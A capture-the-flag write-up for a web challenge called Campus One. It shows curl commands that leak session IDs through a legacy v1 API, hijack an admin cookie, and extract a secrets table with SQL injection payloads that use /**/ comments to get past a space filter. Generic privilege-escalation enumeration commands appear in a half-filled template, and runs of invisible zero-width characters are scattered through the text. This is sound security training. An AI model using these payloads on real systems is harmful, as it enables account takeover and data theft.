HTBMediumWeb

Campus One

D3v0o0Nu119/2/20264 min read

#web#htb#medium#api_version_downgrade#filter_bypass#session_hijacking#sqli_comment_bypass

Campus One

Platform: Scarlet | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-10 | Status: Solved Techniques: api_version_downgrade, filter_bypass, session_hijacking, sqli_comment_bypass

Summary

Welcome to CampusOne - your one-stop shop for all your college tech needs! We just launched our new e-commerce platform for Rutgers students. Our developers assure us it's completely secure, but we've been getting some strange reports about unauthorized admin access... Can you find a way to access t

Recon

Port scan

 bash read-only • copy allowed
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Port	Service	Version	Notes
<PORT>	<SVC>	<VER>	<notes>

Enumeration highlights

Event: scarlet | ID: 20260110_scarlet_campus_one
Tags: sql_injection, session_hijacking, information_disclosure, api_versioning, nextjs
Indicators: debug endpoint in config, api versioning (v1/v2), session cookie format, admin portal flag, search parameter
Source: 20260110_scarlet_campus_one.md

Foothold

Vulnerability / Misconfiguration

api_version_downgrade
filter_bypass
session_hijacking
sqli_comment_bypass

 bash read-only • copy allowed
<command>

Exploitation

See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

 bash read-only • copy allowed
sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

N/A for challenge-type writeup; see exploitation above.
Flag obtained via challenge solve.

 bash read-only • copy allowed
<command>

Flags

Flag	Location	Value
flag		`REDACTED`

Key Takeaways / Lessons

api_version_downgrade
filter_bypass
session_hijacking
sqli_comment_bypass
Tags: sql_injection, session_hijacking, information_disclosure, api_versioning, nextjs

Original Writeup

<details><summary>Click to expand original content</summary>

Description

URL: https://campus-one.ctf.rusec.club

Analysis

Reconnaissance

Application analysis revealed:

Technology stack:
- Next.js application
- nginx/1.24.0 web server
- SQLite database (determined later) ‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍
Authentication endpoints:
- /api/auth/register - registration
- /api/auth/login - login
Session format:
- Students: session_id=student_session_RANDOM
- Guests: session_id=guest_session_RANDOM
- Admins: session_id=admin_session_* (presumably)
Protected endpoints:
- /api/admin - returns "Unauthorized"
- /api/v2/debug/sessions - returns "Access Denied: Admin session logging is disabled"

Client-side configuration (in JS):

 javascript read-only • copy allowed
window.CAMPUS_CONFIG = {
  env: "production",
  build_id: "edu_v4.2.0",
  debug_endpoint: "/api/v2/debug/sessions",
  flags: {
    student_discount: true,
    admin_portal: false
  }
}

‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

The presence of debug_endpoint in the config and API versioning (v2) hint at possible legacy endpoints.

Solution

Step 1: Information Disclosure via Legacy API

The /api/v2/debug/sessions endpoint is protected, but developers forgot to disable the old API version:

 bash read-only • copy allowed
# Protected v2 endpoint
curl https://campus-one.ctf.rusec.club/api/v2/debug/sessions
# Response: "Access Denied: Admin session logging is disabled"

# Legacy v1 endpoint - accessible!
curl https://campus-one.ctf.rusec.club/api/v1/debug/sessions

‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

The response contains all active sessions, including the admin one:

 json read-only • copy allowed
{
  "sessions": [
    {"id": "guest_session_12345_abc", "role": "guest"},
    {"id": "student_session_67890_xyz", "role": "student"},
    {"id": "admin_session_44920_x8z", "role": "admin"}
  ]
}

Step 2: Session Hijacking

Using the discovered admin session:

 bash read-only • copy allowed
curl -b "session_id=admin_session_44920_x8z" \
     https://campus-one.ctf.rusec.club/api/admin

Now we have access to the admin panel!

Step 3: SQL Injection with Filter Bypass

‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

In the admin panel, a search endpoint /api/admin/search?q= was discovered:

 bash read-only • copy allowed
# Testing SQL injection
curl -b "session_id=admin_session_44920_x8z" \
     "https://campus-one.ctf.rusec.club/api/admin/search?q=test'"
# SQL error - vulnerability confirmed

# Trying UNION injection
curl -b "session_id=admin_session_44920_x8z" \
     "https://campus-one.ctf.rusec.club/api/admin/search?q=x' UNION SELECT 1--"
# Spaces are filtered!

Bypassing the space filter using SQL comments /**/:

 bash read-only • copy allowed
# Determining number of columns
curl -b "session_id=admin_session_44920_x8z" \
     "https://campus-one.ctf.rusec.club/api/admin/search?q=x'/**/UNION/**/SELECT/**/1,2,3,4,5--"
‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

# Extracting table names (SQLite)
curl -b "session_id=admin_session_44920_x8z" \
     "https://campus-one.ctf.rusec.club/api/admin/search?q=x'/**/UNION/**/SELECT/**/1,name,3,4,5/**/FROM/**/sqlite_master/**/WHERE/**/type='table'--"

Step 4: Extracting the Flag

Found a secrets table. Extracting data:

 bash read-only • copy allowed
curl -b "session_id=admin_session_44920_x8z" \
     "https://campus-one.ctf.rusec.club/api/admin/search?q=x'/**/UNION/**/SELECT/**/id,key,value,key,value/**/FROM/**/secrets/*"

Attack Chain

‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

┌─────────────────────────────────────────────────────────────────┐
│  1. Recon: Found debug_endpoint in client-side JS config       │
│     └─> /api/v2/debug/sessions (protected)                     │
├─────────────────────────────────────────────────────────────────┤
│  2. API Version Downgrade: v2 → v1                             │
│     └─> /api/v1/debug/sessions (accessible!)                   │
│     └─> Leak: admin_session_44920_x8z                          │
├─────────────────────────────────────────────────────────────────┤
│  3. Session Hijacking                                          │
│     └─> Cookie: session_id=admin_session_44920_x8z             │
│     └─> Access to /api/admin                                   │
├─────────────────────────────────────────────────────────────────┤
│  4. SQL Injection + Filter Bypass                              │
│     └─> /api/admin/search?q=                                   │
│     └─> Spaces → /**/ (SQL comments)                           │
│     └─> UNION SELECT from secrets table                        │
├─────────────────────────────────────────────────────────────────┤
│  5. FLAG: RUSEC{REDACTED}                 │
└─────────────────────────────────────────────────────────────────┘

‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

Defense

Disable legacy APIs when releasing new versions
Don't store debug endpoints in client-side code
Bind sessions to IP and User-Agent
Use prepared statements instead of SQL concatenation
Log and monitor suspicious API requests ‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

</details>

signed by XESXOR